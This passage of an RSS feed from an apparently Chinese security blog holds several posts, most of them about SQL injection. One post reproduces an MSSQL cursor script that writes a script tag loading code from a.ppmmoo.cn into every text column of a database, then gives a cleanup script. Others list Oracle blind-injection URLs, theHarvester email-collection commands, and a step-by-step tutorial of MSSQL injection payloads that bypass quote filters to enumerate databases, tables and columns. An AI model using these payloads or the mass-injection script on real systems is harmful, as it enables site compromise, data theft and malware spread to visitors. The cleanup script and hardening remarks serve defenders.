oPeN tAbLe_cursoR fEtCh next <span style="color: #993333; font-weight: bold;">FrOm</span> tAbLe_cursoR <span style="color: #993333; font-weight: bold;">iNtO</span> @t<span style="color: #66cc66;">,</span>@c
&nbsp;
while<span style="color: #66cc66;">&#40;</span>@@fEtCh_status<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span> –开始
&nbsp;
bEgIn
&nbsp;
exec<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'UpDaTe ['</span><span style="color: #66cc66;">+</span>@t<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'] sEt ['</span><span style="color: #66cc66;">+</span>@c<span style="color: #66cc66;">+</span><span style="color: #ff0000;">']=rtrim(convert(vArChAr,['</span><span style="color: #66cc66;">+</span>@c<span style="color: #66cc66;">+</span><span style="color: #ff0000;">']))+'</span><span style="color: #ff0000;">'&amp;lt;/title&amp;gt;&quot;&amp;gt;&amp;lt;script src=http:// a.ppmmoo.cn &amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--'</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span> –执行更新
&nbsp;
fEtCh next <span style="color: #993333; font-weight: bold;">FrOm</span> tAbLe_cursoR <span style="color: #993333; font-weight: bold;">iNtO</span> @t<span style="color: #66cc66;">,</span>@c –游标指向下一记录
&nbsp;
eNd –结束
&nbsp;
cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR</pre></td></tr></table></div>


<div class="wp_codebox"><table><tr id="p124311"><td class="code" id="p1243code11"><pre class="sql" style="font-family:monospace;">存在于syscolumns表里面的name是列名，xtype是数据类型，其与数字的对应关系是：
xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">99</span> <span style="color: #ff0000;">'ntext'</span>
xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">35</span> <span style="color: #ff0000;">'text'</span>
xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">231</span> <span style="color: #ff0000;">'nvarchar'</span>
xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">167</span> <span style="color: #ff0000;">'varchar'</span>
此语句执行的是意思是，遍历用户创建的表，搜索列类型为ntext<span style="color: #66cc66;">,</span>text<span style="color: #66cc66;">,</span> nvarchar<span style="color: #66cc66;">,</span>varchar的列，之后与定义的游标进行关联，再利用游标进行<span style="color: #993333; font-weight: bold;">update</span>操作。
写入内容“<span style="color: #66cc66;">&lt;</span>script src<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://a.ppmmoo.cn&quot;</span><span style="color: #66cc66;">&gt;&lt;</span>!<span style="color: #808080; font-style: italic;">--mce:0--&gt;&lt;/script&gt;”，完全成数据库批量挂马。</span></pre></td></tr></table></div>

<p>如图：</p>
<pre style="text-align: center;"><img title="2009-12-25 20-46-11" src="http://www.nuanyue.com/wp-content/uploads/2010/04/2009-12-25-20-46-11.png" alt="" width="540" height="405" /></pre>
<pre style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/2009-12-25-20-50-121.png" rel="lightbox"><img title="2009-12-25 20-50-12" src="http://www.nuanyue.com/wp-content/uploads/2010/04/2009-12-25-20-50-121.png" alt="" width="540" height="405" /></a></pre>
<p>直接写个语句去掉所插入的语句</p>

<div class="wp_codebox"><table><tr id="p124312"><td class="code" id="p1243code12"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">use</span> tempdb;
declare @t varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">555</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@c varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">555</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">,</span>@inScript varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #993333; font-weight: bold;">set</span> @inScript<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'&lt;script src=&quot;http://&quot;&gt;&lt;!--mce:1--&gt;&lt;/script&gt;'</span>
declare table_cursor cursor <span style="color: #993333; font-weight: bold;">for</span> <span style="color: #993333; font-weight: bold;">select</span> a<span style="color: #66cc66;">.</span>name<span style="color: #66cc66;">,</span>b<span style="color: #66cc66;">.</span>name <span style="color: #993333; font-weight: bold;">from</span> sysobjects a<span style="color: #66cc66;">,</span>syscolumns b <span style="color: #993333; font-weight: bold;">where</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">and</span> a<span style="color: #66cc66;">.</span>xtype<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'u'</span> <span style="color: #993333; font-weight: bold;">and</span> <span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">.</span>xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">99</span> <span style="color: #993333; font-weight: bold;">or</span> b<span style="color: #66cc66;">.</span>xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">35</span> <span style="color: #993333; font-weight: bold;">or</span> b<span style="color: #66cc66;">.</span>xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">231</span> <span style="color: #993333; font-weight: bold;">or</span> b<span style="color: #66cc66;">.</span>xtype<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">167</span><span style="color: #66cc66;">&#41;</span>
open table_cursor
fetch next <span style="color: #993333; font-weight: bold;">from</span> table_cursor <span style="color: #993333; font-weight: bold;">into</span> @t<span style="color: #66cc66;">,</span>@c
while<span style="color: #66cc66;">&#40;</span>@@fetch_status<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
begin
exec<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'update ['</span><span style="color: #66cc66;">+</span>@t<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'] set  ['</span><span style="color: #66cc66;">+</span>@c<span style="color: #66cc66;">+</span><span style="color: #ff0000;">']=replace(cast(['</span><span style="color: #66cc66;">+</span>@c<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'] as varchar(8000)),'</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>@inScript<span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">','</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">')'</span>  <span style="color: #66cc66;">&#41;</span>
fetch next <span style="color: #993333; font-weight: bold;">from</span> table_cursor <span style="color: #993333; font-weight: bold;">into</span> @t<span style="color: #66cc66;">,</span>@c
end
close table_cursor
deallocate table_cursor;</pre></td></tr></table></div>

<pre>清理完后，可以对数据库对象sysobjects、syscolumns的select权限去掉，防止这样的重复劳动SSSsss...</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b8%85%e7%90%86%e6%95%b0%e6%8d%ae%e5%ba%93%e6%89%b9%e9%87%8f%e6%8c%82%e9%a9%ac.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Oracle注入sys_context利用</title>
		<link>http://www.nuanyue.com/oracle%e6%b3%a8%e5%85%a5%e8%bf%87%e7%a8%8b%e7%9a%84sys_context%e5%88%a9%e7%94%a8.html</link>
		<comments>http://www.nuanyue.com/oracle%e6%b3%a8%e5%85%a5%e8%bf%87%e7%a8%8b%e7%9a%84sys_context%e5%88%a9%e7%94%a8.html#comments</comments>
		<pubDate>Tue, 06 Apr 2010 11:45:35 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[Oracle注入]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1230</guid>
		<description><![CDATA[<p>文/<a href="http://www.nuanyue.com">饭</a></p>
<p>Oracle可以用sys_context来获取基本信息，记录如下：<br />
http://www.nuanyue.com/test.jsp=1&#8242; and ascii(substr(length((sys_context(&#8216;userenv&#8217;,'db_name&#82[......]</p><p class='read-more'><a href='http://www.nuanyue.com/oracle%e6%b3%a8%e5%85%a5%e8%bf%87%e7%a8%8b%e7%9a%84sys_context%e5%88%a9%e7%94%a8.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://www.nuanyue.com">饭</a></p>
<p>Oracle可以用sys_context来获取基本信息，记录如下：<br />
http://www.nuanyue.com/test.jsp=1&#8242; and ascii(substr(length((sys_context(&#8216;userenv&#8217;,'db_name&#8217;))),0,1))=89<br />
检查db_name的字符个数的 的ASCII值是89<br />
http://www.nuanyue.com/test.jsp=1&#8242; and ascii(substr((sys_context(&#8216;userenv&#8217;,'db_name&#8217;)),1,1))=109<br />
http://www.nuanyue.com/test.jsp=1&#8242; and ascii(substr((sys_context(&#8216;userenv&#8217;,'db_name&#8217;)),2,1))&gt;0<br />
//获取第一个字符的ASCII值，其它类推，以下是可以获取的信息。</p>
<div>select</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'TERMINAL&#8217;) terminal,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'LANGUAGE&#8217;) language,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'SESSIONID&#8217;) sessionid,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'INSTANCE&#8217;) instance,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'ENTRYID&#8217;) entryid,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'ISDBA&#8217;) isdba,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_TERRITORY&#8217;) nls_territory,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_CURRENCY&#8217;) nls_currency,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_CALENDAR&#8217;) nls_calendar,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_DATE_FORMAT&#8217;) nls_date_format,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_DATE_LANGUAGE&#8217;) nls_date_language,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NLS_SORT&#8217;) nls_sort,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'CURRENT_USER&#8217;) current_user,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'CURRENT_USERID&#8217;) current_userid,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'SESSION_USER&#8217;) session_user,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'SESSION_USERID&#8217;) session_userid,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'PROXY_USER&#8217;) proxy_user,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'PROXY_USERID&#8217;) proxy_userid,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'DB_DOMAIN&#8217;) db_domain,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'DB_NAME&#8217;) db_name,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'HOST&#8217;) host,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'OS_USER&#8217;) os_user,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'EXTERNAL_NAME&#8217;) external_name,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'IP_ADDRESS&#8217;) ip_address,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'NETWORK_PROTOCOL&#8217;) network_protocol,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'BG_JOB_ID&#8217;) bg_job_id,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'FG_JOB_ID&#8217;) fg_job_id,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'AUTHENTICATION_TYPE&#8217;) authentication_type,</div>
<div>SYS_CONTEXT(&#8216;USERENV&#8217;,'AUTHENTICATION_DATA&#8217;) authentication_data</div>
<div>from dual</div>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/oracle%e6%b3%a8%e5%85%a5%e8%bf%87%e7%a8%8b%e7%9a%84sys_context%e5%88%a9%e7%94%a8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>常用的社工工具</title>
		<link>http://www.nuanyue.com/%e5%b8%b8%e7%94%a8%e7%9a%84%e7%a4%be%e5%b7%a5%e5%b7%a5%e5%85%b7%e6%95%b4%e7%90%86.html</link>
		<comments>http://www.nuanyue.com/%e5%b8%b8%e7%94%a8%e7%9a%84%e7%a4%be%e5%b7%a5%e5%b7%a5%e5%85%b7%e6%95%b4%e7%90%86.html#comments</comments>
		<pubDate>Thu, 25 Feb 2010 04:38:15 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tools Collection | 工具收集]]></category>
		<category><![CDATA[theharvester]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1227</guid>
		<description><![CDATA[<p>一： 收集邮件地址工具<br />
theharvester通过搜索引擎查找邮件地址的工具，其用法如下：<br />
Searching emails accounts for the domain microsoft.com, it will work with the first 500 google results:[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e5%b8%b8%e7%94%a8%e7%9a%84%e7%a4%be%e5%b7%a5%e5%b7%a5%e5%85%b7%e6%95%b4%e7%90%86.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>一： 收集邮件地址工具<br />
theharvester通过搜索引擎查找邮件地址的工具，其用法如下：<br />
Searching emails accounts for the domain microsoft.com, it will work with the first 500 google results:<br />
./theharvester.py -d microsoft.com -l 500 -b google<br />
Searching emails accounts for the domain microsoft.com in a PGP server, here it&#8217;s not necessary to specify the limit.<br />
./theharvester.py -d microsoft.com -b pgp<br />
Searching for user names that works in the company microsoft, we use google as search engine, so we need to specify the limit of results we want to use:<br />
./theharvester.py -d microsoft -l 200 -b linkedin</p>
<p>Downloads</p>
<p>* theHarvester 1.5 &#8211; <a href="http://www.edge-security.com/soft/theHarvester-1.5.tar">Tar</a> (9/02/2010)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%b8%b8%e7%94%a8%e7%9a%84%e7%a4%be%e5%b7%a5%e5%b7%a5%e5%85%b7%e6%95%b4%e7%90%86.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>绕过单引号继续注入</title>
		<link>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html</link>
		<comments>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html#comments</comments>
		<pubDate>Mon, 22 Feb 2010 13:21:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[注入整理]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1192</guid>
		<description><![CDATA[<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png"></a>文/图 <a href="http://www.nuanyue.com">饭</a> </p>
<p>Web应用程序一般都会使用数据库来保存各种信息，比如电子商务网站的帐户信息、销售商品的价格，订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的，因此，在数据交互的环节没有安全过滤净化，则可能易于受到SQL注入攻击，严重的可能导致数据[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png"></a>文/图 <a href="http://www.nuanyue.com">饭</a> </p>
<p>Web应用程序一般都会使用数据库来保存各种信息，比如电子商务网站的帐户信息、销售商品的价格，订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的，因此，在数据交互的环节没有安全过滤净化，则可能易于受到SQL注入攻击，严重的可能导致数据库非法操作，但是随着时间的推移，Web应用程序的开发者安全意识的日渐增强，SQL注入漏洞已经呈下降消失状态，但是之前的Web程序在被动防范SQL攻击时，还是略显乏力，或者说是考虑不太周全。比如说普遍使用的过滤关键字的方法，如果仅仅过滤单引号或者小写类的关键字，则极易出现绕过的情形，而国内的安全公司相继推出的硬件WAF是否会存在同样的问题呢？从根本上说硬件WAF基于访问请求流量来鉴别攻击行为，可能在以后的攻防对立的演化过程也会慢慢有爆出被绕过的问题，所有的问题依然存在。本文试着在注入的SQL语句中不引用单引号，来和大家讨论一下注入攻击的部分原理和技巧。在一次测试中，发现一注入点过滤了单引号和小写的关键字，提交语句如下：</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28&#8242;</a> AND 1=(SELECT @@VERSION)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/1.png" rel="lightbox"><img class="size-full wp-image-1194 aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/02/1.png" alt="" width="540" height="397" /></a></p>
<p>去掉单引号再次提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1=(SELECT @@VERSION)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/2.png" rel="lightbox"><img class="size-full wp-image-1195 aligncenter" title="2" src="http://www.nuanyue.com/wp-content/uploads/2010/02/2.png" alt="" width="540" height="397" /></a></p>
<p>成功爆出数据库的系统版本了，说明在处理数据提交时，网站即使过滤了单引号了，依然可以注入。以下将和大家讨论获取数据库名、获取表名、获取列名、获取值等内容的部分SQL语句。在Mssql2005的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有的数据库信息，仅需要PUBLIC权限就可以进行select操作：</p>
<p>use master;</p>
<p>SELECT * FROM MASTER.DBO.SYSDATABASES</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/4.png" rel="lightbox"><img class="aligncenter" title="4" src="http://www.nuanyue.com/wp-content/uploads/2010/02/4.png" alt="" width="540" height="405" /></a></p>
<p>一至四，都是系统自带的数据库名，所以可以通过dbid这个查询变量来一一进行爆出数据库名，提交查询语句：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/3.png" rel="lightbox"><img class="size-full wp-image-1197 aligncenter" title="3" src="http://www.nuanyue.com/wp-content/uploads/2010/02/3.png" alt="" width="540" height="397" /></a></p>
<p>查询语句通过dbid取值从1至到无法爆出数据库名为至。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/5.png" rel="lightbox"><img class="size-full wp-image-1198 aligncenter" title="5" src="http://www.nuanyue.com/wp-content/uploads/2010/02/5.png" alt="" width="540" height="397" /></a></p>
<p>在Mssql2005版本里每个数据库都有一个用来存放表名信息的表，其权限同样仅public权限就能查询了,表名为：INFORMATION_SCHEMA.TABLES。</p>
<p>use master ;</p>
<p>select * from INFORMATION_SCHEMA.TABLES;</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/6.png" rel="lightbox"><img class="size-full wp-image-1199 aligncenter" title="6" src="http://www.nuanyue.com/wp-content/uploads/2010/02/6.png" alt="" width="540" height="403" /></a></p>
<p>表名就存储在TABLE_NAME列里，通过使用条件查询语句限制型“Top 1”，一条条纪录爆出表名来。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/7.png" rel="lightbox"><img class="size-full wp-image-1200 aligncenter" title="7" src="http://www.nuanyue.com/wp-content/uploads/2010/02/7.png" alt="" width="540" height="378" /></a></p>
<p>其为爆出的第一条纪录。如想爆出第一条记录，即可以使用sql语法的条件语句“where table_name !=0x已经爆出表名的十六进制”来取内容。先取已爆表名的十六进制。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/8.png" rel="lightbox"><img class="size-full wp-image-1201 aligncenter" title="8" src="http://www.nuanyue.com/wp-content/uploads/2010/02/8.png" alt="" width="540" height="573" /></a></p>
<p>再提交语句如下：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=0x41006400760065007200740069007A0065007200)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png" rel="lightbox"><img class="aligncenter" title="9" src="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png" alt="" width="540" height="397" /></a></p>
<p>成功爆出第二个表名，剩下的以此类推。当然读取数据库的INFORMATION_SCHEMA.TABLES表内容，只是当前数据库的表名，如果要读取整个数据库的表名，可以读sysobjects表的name列名，原理同上。</p>
<p>在获取表名，得到列名是注入的下一个关键问题，在MSSQL 2005的数据库里，有张表名sys.all_objects里存放着表与列的信息，其表的列名object_id里存放着一个数值，对应着另一表名sys.all_columns里的列名ID,而sys.all_columns表里存放着列的信息。执行：</p>
<p>Select * from sys.all_objects</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/10.png" rel="lightbox"><img class="size-full wp-image-1203 aligncenter" title="10" src="http://www.nuanyue.com/wp-content/uploads/2010/02/10.png" alt="" width="540" height="405" /></a></p>
<p>由上图可知，列名name和列名object_id是有对应的。在注入时，可以通过指定name值来指定爆表的object_id的值。提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 999999&lt; (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE43006C00690063006B0049005000)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/13.png" rel="lightbox"><img class="size-full wp-image-1204 aligncenter" title="13" src="http://www.nuanyue.com/wp-content/uploads/2010/02/13.png" alt="" width="540" height="397" /></a></p>
<p>以上语句是无法直接爆出数值来的，但是可以用折半法来进行猜解，由于其数值都在10位以上，所以，其法也不太可能，但是可以联合两张表来直接查询。再次提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0x43006C00690063006B0049005000)—</p>
<p style="text-align: center;"> <a href="http://www.nuanyue.com/wp-content/uploads/2010/02/11.png" rel="lightbox"><img class="size-full wp-image-1205 aligncenter" title="11" src="http://www.nuanyue.com/wp-content/uploads/2010/02/11.png" alt="" width="540" height="397" /></a></p>
<p>已经爆出表名0x43006C00690063006B0049005000的第一个列名ID了，可以加入条件”and B.NAMe != 0x已经爆出的列名”， 类推可以依次爆出。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0x43006C00690063006B0049005000 AND B.NAME!=0&#215;49004400)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/12.png" rel="lightbox"><img class="size-full wp-image-1206 aligncenter" title="12" src="http://www.nuanyue.com/wp-content/uploads/2010/02/12.png" alt="" width="540" height="397" /></a></p>
<p>在获取了表名和列名之后，获取其值也是很简单的。比较常用的有比如这样的获取值的：</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 77= (SELECT ascii(@@VERSION))</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1=2 UNSION SELECT 1,2,3..@@VERSION&#8211;…</p>
<p>一种是爆错对比，一种是union操作。第一种是基于查询后值的对比，而union操作是将执行返回的结果直接在浏览器显示，从而避免繁琐的折半猜测，在使用union操作时，前提则是前后查询的两种结果的结构相同，即是列名数相同，可以通过“order by 列名数“来鉴别。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> order by 1—</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> order by 2</p>
<p>…</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> Order by 8—</p>
<p>此时，返回错误页面，即说明列名数是8，执行语句：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> and 1=2 Unsion select 1,2,3,4,5,6,7,8—</p>
<p>来取出纪录。</p>
<p>防范SQL注入攻击，尽管不同的数据库也会有不同的攻击技巧，复杂程序也各不相同，而许多SQL注入防范措施仅仅从某一处着手或者部分有效，从一个安全整体的角度立体的防护或许是值得借鉴的方法，比如从代码逻辑层、数据库层、网络层、系统层等，从本文阐述的原理来看，下次针对数据库的安全加固，你是否会调整一下“SYSOBJECTS、SYSCOLUMNS”等对象的权限呢？好像数据库批量挂马也有用到这两个表哦！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>恭祝春节快乐</title>
		<link>http://www.nuanyue.com/%e6%81%ad%e7%a5%9d%e6%98%a5%e8%8a%82%e5%bf%ab%e4%b9%90.html</link>
		<comments>http://www.nuanyue.com/%e6%81%ad%e7%a5%9d%e6%98%a5%e8%8a%82%e5%bf%ab%e4%b9%90.html#comments</comments>
		<pubDate>Wed, 10 Feb 2010 04:27:33 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Wordpress | 生活琐碎]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1185</guid>
		<description><![CDATA[<p><strong><span style="color: #c30909;">春节快到了，恭祝大家：虎虎生财 大吉大利  春节快乐 。</span></strong></p>]]></description>
			<content:encoded><![CDATA[<p><strong><span style="color: #c30909;">春节快到了，恭祝大家：虎虎生财 大吉大利  春节快乐 。</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%81%ad%e7%a5%9d%e6%98%a5%e8%8a%82%e5%bf%ab%e4%b9%90.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
